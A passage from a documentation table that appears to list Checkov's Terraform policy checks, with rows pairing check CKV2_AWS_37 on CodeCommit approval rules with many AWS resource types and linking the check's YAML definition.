[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 755 | CKV2_AWS_37 | resource | aws_batch_job_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 756 | CKV2_AWS_37 | resource | aws_batch_scheduling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 757 | CKV2_AWS_37 | resource | aws_bcmdataexports_export | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 758 | CKV2_AWS_37 | resource | aws_bedrock_custom_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 759 | CKV2_AWS_37 | resource | aws_bedrock_guardrail | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 760 | CKV2_AWS_37 | resource | aws_bedrock_guardrail_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 761 | CKV2_AWS_37 | resource | aws_bedrock_inference_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 762 | CKV2_AWS_37 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 763 | CKV2_AWS_37 | resource | aws_bedrock_provisioned_model_throughput | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 764 | CKV2_AWS_37 | resource | aws_bedrockagent_agent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 765 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_action_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 766 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 767 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_collaborator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 768 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 769 | CKV2_AWS_37 | resource | aws_bedrockagent_data_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 770 | CKV2_AWS_37 | resource | aws_bedrockagent_knowledge_base | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 771 | CKV2_AWS_37 | resource | aws_budgets_budget | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 772 | CKV2_AWS_37 | resource | aws_budgets_budget_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 773 | CKV2_AWS_37 | resource | aws_caller_info | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 774 | CKV2_AWS_37 | resource | aws_ce_anomaly_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 775 | CKV2_AWS_37 | resource | aws_ce_anomaly_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 776 | CKV2_AWS_37 | resource | aws_ce_cost_allocation_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 777 | CKV2_AWS_37 | resource | aws_ce_cost_category | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 778 | CKV2_AWS_37 | resource | aws_chatbot_slack_channel_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 779 | CKV2_AWS_37 | resource | aws_chatbot_teams_channel_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 780 | CKV2_AWS_37 | resource | aws_chime_voice_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 781 | CKV2_AWS_37 | resource | aws_chime_voice_connector_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 782 | CKV2_AWS_37 | resource | aws_chime_voice_connector_logging | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 783 | CKV2_AWS_37 | resource | aws_chime_voice_connector_origination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 784 | CKV2_AWS_37 | resource | aws_chime_voice_connector_streaming | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 785 | CKV2_AWS_37 | resource | aws_chime_voice_connector_termination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 786 | CKV2_AWS_37 | resource | aws_chime_voice_connector_termination_credentials | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 787 | CKV2_AWS_37 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 788 | CKV2_AWS_37 | resource | aws_chimesdkvoice_global_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 789 | CKV2_AWS_37 | resource | aws_chimesdkvoice_sip_media_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 790 | CKV2_AWS_37 | resource | aws_chimesdkvoice_sip_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 791 | CKV2_AWS_37 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 792 | CKV2_AWS_37 | resource | aws_cleanrooms_collaboration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 793 | CKV2_AWS_37 | resource | aws_cleanrooms_configured_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 794 | CKV2_AWS_37 | resource | aws_cleanrooms_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 795 | CKV2_AWS_37 | resource | aws_cloud9_environment_ec2 | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 796 | CKV2_AWS_37 | resource | aws_cloud9_environment_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 797 | CKV2_AWS_37 | resource | aws_cloudcontrolapi_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 798 | CKV2_AWS_37 | resource | aws_cloudformation_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 799 | CKV2_AWS_37 | resource | aws_cloudformation_stack_instances | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 800 | CKV2_AWS_37 | resource | aws_cloudformation_stack_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 801 | CKV2_AWS_37 | resource | aws_cloudformation_stack_set_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 802 | CKV2_AWS_37 | resource | aws_cloudformation_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 803 | CKV2_AWS_37 | resource | aws_cloudfront_cache_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 804 | CKV2_AWS_37 | resource | aws_cloudfront_continuous_deployment_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 805 | CKV2_AWS_37 | resource | aws_cloudfront_distribution | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 806 | CKV2_AWS_37 | resource | aws_cloudfront_field_level_encryption_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 807 | CKV2_AWS_37 | resource | aws_cloudfront_field_level_encryption_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 808 | CKV2_AWS_37 | resource | aws_cloudfront_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 809 | CKV2_AWS_37 | resource | aws_cloudfront_key_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 810 | CKV2_AWS_37 | resource | aws_cloudfront_key_value_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 811 | CKV2_AWS_37 | resource | aws_cloudfront_monitoring_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 812 | CKV2_AWS_37 | resource | aws_cloudfront_origin_access_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 813 | CKV2_AWS_37 | resource | aws_cloudfront_origin_access_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 814 | CKV2_AWS_37 | resource | aws_cloudfront_origin_request_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 815 | CKV2_AWS_37 | resource | aws_cloudfront_public_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 816 | CKV2_AWS_37 | resource | aws_cloudfront_realtime_log_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 817 | CKV2_AWS_37 | resource | aws_cloudfront_response_headers_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 818 | CKV2_AWS_37 | resource | aws_cloudfront_vpc_origin | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 819 | CKV2_AWS_37 | resource | aws_cloudfrontkeyvaluestore_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 820 | CKV2_AWS_37 | resource | aws_cloudhsm_v2_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 821 | CKV2_AWS_37 | resource | aws_cloudhsm_v2_hsm | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 822 | CKV2_AWS_37 | resource | aws_cloudsearch_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 823 | CKV2_AWS_37 | resource | aws_cloudsearch_domain_service_access_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 824 | CKV2_AWS_37 | resource | aws_cloudtrail | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 825 | CKV2_AWS_37 | resource | aws_cloudtrail_event_data_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 826 | CKV2_AWS_37 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 827 | CKV2_AWS_37 | resource | aws_cloudwatch_composite_alarm | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 828 | CKV2_AWS_37 | resource | aws_cloudwatch_dashboard | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 829 | CKV2_AWS_37 | resource | aws_cloudwatch_event_api_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 830 | CKV2_AWS_37 | resource | aws_cloudwatch_event_archive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 831 | CKV2_AWS_37 | resource | aws_cloudwatch_event_bus | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 832 | CKV2_AWS_37 | resource | aws_cloudwatch_event_bus_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 833 | CKV2_AWS_37 | resource | aws_cloudwatch_event_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 834 | CKV2_AWS_37 | resource | aws_cloudwatch_event_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 835 | CKV2_AWS_37 | resource | aws_cloudwatch_event_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 836 | CKV2_AWS_37 | resource | aws_cloudwatch_event_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 837 | CKV2_AWS_37 | resource | aws_cloudwatch_event_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 838 | CKV2_AWS_37 | resource | aws_cloudwatch_log_account_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 839 | CKV2_AWS_37 | resource | aws_cloudwatch_log_anomaly_detector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 840 | CKV2_AWS_37 | resource | aws_cloudwatch_log_data_protection_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 841 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 842 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 843 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 844 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 845 | CKV2_AWS_37 | resource | aws_cloudwatch_log_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 846 | CKV2_AWS_37 | resource | aws_cloudwatch_log_destination_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 847 | CKV2_AWS_37 | resource | aws_cloudwatch_log_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 848 | CKV2_AWS_37 | resource | aws_cloudwatch_log_index_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 849 | CKV2_AWS_37 | resource | aws_cloudwatch_log_metric_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 850 | CKV2_AWS_37 | resource | aws_cloudwatch_log_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 851 | CKV2_AWS_37 | resource | aws_cloudwatch_log_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 852 | CKV2_AWS_37 | resource | aws_cloudwatch_log_subscription_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 853 | CKV2_AWS_37 | resource | aws_cloudwatch_metric_alarm | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 854 | CKV2_AWS_37 | resource | aws_cloudwatch_metric_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 855 | CKV2_AWS_37 | resource | aws_cloudwatch_query_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 856 | CKV2_AWS_37 | resource | aws_codeartifact_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 857 | CKV2_AWS_37 | resource | aws_codeartifact_domain_permissions_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 858 | CKV2_AWS_37 | resource | aws_codeartifact_repository | Ensure CodeCommit associates an approval rule | Terraform | 